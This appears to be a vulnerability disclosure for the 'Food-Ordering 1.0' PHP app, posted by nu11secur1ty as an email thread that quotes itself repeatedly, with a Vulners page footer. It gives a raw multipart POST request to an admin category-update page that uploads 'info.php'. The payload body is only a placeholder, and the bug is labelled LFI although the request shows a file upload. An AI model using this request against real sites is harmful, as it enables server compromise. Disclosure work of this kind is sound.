Food-Ordering 1.0 - LFI
# Title: Food-Ordering 1.0 - LFI
# Author: nu11secur1ty
# Date: 9/23/2026
# Vendor: https://kato-james.42web.io/?i=2
# Software:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
# Reference: https://portswigger.net/web-security/file-upload
## Description:
A Local File Inclusion (LFI) vulnerability involving parameter values like
id=30 often happens when user input is passed directly to file-handling or
database-backed file retrieval functions without proper sanitization. When
an authenticated user can manipulate this parameter, it can lead to
directory traversal, unauthorized access to sensitive files, or full server
compromise.
STATUS: HIGH
[+]Payload:
```
POST
/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
HTTP/1.1
Host: localhost
Content-Length: 751
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarywUgBK3hPWQD0rRB1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Origin: http://localhost
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
http://localhost/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=v8ietn62kr8ovses41m9ckpvg9
Connection: keep-alive
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="title"
ice cream
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="update_image"; filename="info.php"
Content-Type: application/octet-stream
#### Your EXPLOIT here...
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="featured"
Yes
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="active"
Yes
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="submit"
update Category
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="current_image"
Category_1790143101.jpg
------WebKitFormBoundarywUgBK3hPWQD0rRB1--
```
# Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
)
# Demo:
[href](https://odysee.com/@nu11secur1ty:b/Food-Ordering-1.0-LFI)
# Time spent:
00:35:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
On Wed, Sep 23, 2026 at 9:46 AM nu11 secur1ty <[email protected]>
wrote:
> # Title: Food-Ordering-1.0 by Kato James Kalimba | LFI
> # Author: nu11secur1ty
> # Date: 9/23/2026
> # Vendor: https://kato-james.42web.io/?i=2
> # Software:
> # Reference: https://portswigger.net/web-security/file-upload
>
> ## Description:
> A Local File Inclusion (LFI) vulnerability involving parameter values like
> id=30 often happens when user input is passed directly to file-handling or
> database-backed file retrieval functions without proper sanitization. When
> an authenticated user can manipulate this parameter, it can lead to
> directory traversal, unauthorized access to sensitive files, or full server
> compromise.
>
> STATUS: HIGH
>
>
> [+]Payload:
> ```
> POST
> /web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
> HTTP/1.1
> Host: localhost
> Content-Length: 751
> Cache-Control: max-age=0
> sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
> sec-ch-ua-mobile: ?0
> sec-ch-ua-platform: "Windows"
> Accept-Language: en-US,en;q=0.9
> Upgrade-Insecure-Requests: 1
> Content-Type: multipart/form-data;
> boundary=----WebKitFormBoundarywUgBK3hPWQD0rRB1
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
> (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
> Origin: http://localhost
> Accept:
> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
> Sec-Fetch-Site: same-origin
> Sec-Fetch-Mode: navigate
> Sec-Fetch-User: ?1
> Sec-Fetch-Dest: document
> Referer:
> http://localhost/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
> Accept-Encoding: gzip, deflate, br
> Cookie: PHPSESSID=v8ietn62kr8ovses41m9ckpvg9
> Connection: keep-alive
>
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="title"
>
> ice cream
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="update_image"; filename="info.php"
> Content-Type: application/octet-stream
>
> #### Your EXPLOIT here...
>
>
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="featured"
>
> Yes
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="active"
>
> Yes
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="submit"
>
> update Category
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="current_image"
>
> Category_1790143101.jpg
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1--
>
>
> ```
>
> # Reproduce:
> [href](
> https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
> )
>
> # Demo:
> [href](https://odysee.com/@nu11secur1ty:b/Food-Ordering-1.0-LFI)
>
> # Time spent:
> 00:35:00
>
>
> --
> System Administrator - Infrastructure Engineer
> Penetration Testing Engineer
> Exploit developer at https://packetstormsecurity.com/
> https://cve.mitre.org/index.html
> https://cxsecurity.com/ and https://www.exploit-db.com/
> home page: https://www.asc3t1c-nu11secur1ty.com/
> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
> nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
>
> On Wed, Sep 23, 2026 at 9:44 AM nu11 secur1ty <
> [email protected]> wrote:
>
>> # Title: Food-Ordering-1.0 LFI
>> # Author: nu11secur1ty
>> # Date: 9/23/2026
>> # Vendor: https://kato-james.42web.io/?i=2
>> # Software:
>> # Reference: https://portswigger.net/web-security/file-upload
>>
>> ## Description:
>> A Local File Inclusion (LFI) vulnerability involving parameter values
>> like id=30 often happens when user input is passed directly to
>> file-handling or database-backed file retrieval functions without proper
>> sanitization. When an authenticated user can manipulate this parameter, it
>> can lead to directory traversal, unauthorized access to sensitive files, or
>> full server compromise.
>>
>> STATUS: HIGH
>>
>>
>> [+]Payload:
>> ```
>> POST
>> /web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
>> HTTP/1.1
>> Host: localhost
>> Content-Length: 751
>> Cache-Control: max-age=0
>> sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
>> sec-ch-ua-mobile: ?0
>> sec-ch-ua-platform: "Windows"
>> Accept-Language: en-US,en;q=0.9
>> Upgrade-Insecure-Requests: 1
>> Content-Type: multipart/form-data;
>> boundary=----WebKitFormBoundarywUgBK3hPWQD0rRB1
>> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
>> (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
>> Origin: http://localhost
>> Accept:
>> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
>> Sec-Fetch-Site: same-origin
>> Sec-Fetch-Mode: navigate
>> Sec-Fetch-User: ?1
>> Sec-Fetch-Dest: document
>> Referer:
>> http://localhost/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
>> Accept-Encoding: gzip, deflate, br
>> Cookie: PHPSESSID=v8ietn62kr8ovses41m9ckpvg9
>> Connection: keep-alive
>>
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="title"
>>
>> ice cream
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="update_image"; filename="info.php"
>> Content-Type: application/octet-stream
>>
>> #### Your EXPLOIT here...
>>
>>
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="featured"
>>
>> Yes
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="active"
>>
>> Yes
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="submit"
>>
>> update Category
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="current_image"
>>
>> Category_1790143101.jpg
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1--
>>
>>
>> ```
>>
>> # Reproduce:
>> [href](
>> https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
>> )
>>
>> # Demo:
>> [href](https://odysee.com/@nu11secur1ty:b/Food-Ordering-1.0-LFI)
>>
>> # Time spent:
>> 00:35:00
>>
>>
>> --
>> System Administrator - Infrastructure Engineer
>> Penetration Testing Engineer
>> Exploit developer at https://packetstormsecurity.com/
>> https://cve.mitre.org/index.html
>> https://cxsecurity.com/ and https://www.exploit-db.com/
>> home page: https://www.asc3t1c-nu11secur1ty.com/
>> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
>> nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
>>
>> --
>>
>> System Administrator - Infrastructure Engineer
>> Penetration Testing Engineer
>> Exploit developer at https://packetstorm.news/
>> https://cve.mitre.org/index.html
>> https://cxsecurity.com/ and https://www.exploit-db.com/
>> 0day Exploit DataBase https://0day.today/
>> home page: https://www.asc3t1c-nu11secur1ty.com/
>> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
>> nu11secur1ty <http://nu11secur1ty.com/>
>>
>
>
> --
>
> System Administrator - Infrastructure Engineer
> Penetration Testing Engineer
> Exploit developer at https://packetstorm.news/
> https://cve.mitre.org/index.html
> https://cxsecurity.com/ and https://www.exploit-db.com/
> 0day Exploit DataBase https://0day.today/
> home page: https://www.asc3t1c-nu11secur1ty.com/
> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
> nu11secur1ty <http://nu11secur1ty.com/>
>
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Oct 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8